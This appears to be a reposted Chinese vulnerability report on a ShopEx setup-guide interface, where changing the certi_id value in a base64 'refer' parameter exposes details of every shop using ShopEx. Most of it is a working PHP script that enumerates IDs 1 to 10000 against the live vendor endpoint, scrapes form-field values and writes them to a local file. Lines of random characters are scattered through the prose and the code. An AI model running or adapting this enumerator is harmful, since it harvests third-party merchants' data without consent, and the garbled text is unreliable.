ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
6 a0 V: X. |2 vShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
6 T1 a) P; o& o( q6 i4 A' N! p3 Y
! U$ w6 L8 Y9 g& a% P

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

6 Z# [, I: p6 K: ^; b5 H; t* h0 d) h
$ I9 m5 s% _- H
; d# U) y3 S" t; Z. P  Frefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

; y! ]% V6 e7 Z5 p+ R( }: \" |! \! z$ a
, m3 e& s$ |- U) {0 k& ?) R$ K; Q
0 ^+ g9 Q3 C8 q; j0 j) ~我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

- e: K0 o8 D# A) d7 _

<?php

                for ($i=1; $i < 10000; $i++) { //遍历

3 |' L: O+ e, t. C                        ShowshopExD($i);
) I4 o2 ^( ^0 }+ l3 ^5 O: m
                }

                function ShowshopExD($cid) {

5 L- l2 ^! r- t( ~3 y                $url='http://guide.ecos.shopex.cn/step2.php';
8 g& [3 d1 K+ t$ I0 ?
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
, F, W) z' y, l" l" }
- F  ~7 f4 J+ [8 {6 A- f% e        $url = $url.'?refer='.$refer;
& y- h2 J/ J+ l  I
8 a) l; _. F0 }5 k; D  M# n2 f; A        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# \+ @: X9 @8 n% P) R9 J+ M# j
- r( I/ M' V6 I        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
# W! H3 i, g1 b- K. y) G4 n0 r
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
2 W/ A0 E( {8 j2 L0 Z9 t& P
& E; ~" A- u# A2 I9 L, M+ I4 ^        if(strpos($result,$refer))

        {
) y* n5 t/ m3 N& _
8 S( U4 u1 n! e- y- E                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
2 I$ f4 b# f* D/ }2 n
5 b- y7 K! _$ U- Y; q% V                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
/ E+ }1 m! I3 z# M& P
                foreach ($value[1] as $key) {
$ e8 w) h. ?4 r' w3 n
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
9 O) X. q( Q+ r) J" ^
0 S2 [+ R  w) V  p# Y' a4 @" w7 R" J                        echo $res[1][0].':'.$res[3][0]."\r\n";
8 k+ v) S, G$ n- ]
9 m+ D9 h9 W. d! c; D                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

+ F" _$ q+ G7 v                }
5 v7 z2 c; O8 }' s1 q8 Y# {1 Q
                echo '--------------------------------'."\r\n";
( S% n& i# f* X# S& x
                fclose($fp);
% @4 H4 u8 e/ f' J) T! s* R6 G
        }
/ v' M4 a4 U7 m% D2 [; C; p9 z
# V* ]( g' f( h3 }        flush();

8 @2 X+ @$ p6 l) i# n        curl_close($ch);
6 e) A2 S; o; f% c; y+ c# M
0 u+ n) ^9 T( ]) B. j0 I. S& e                }
: q+ g" e9 |* N- l- |* G! }# Q
?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
, N7 r2 V, w- frefer换成其他加密方式
* q7 ?4 d8 T7 Z! u+ m  ~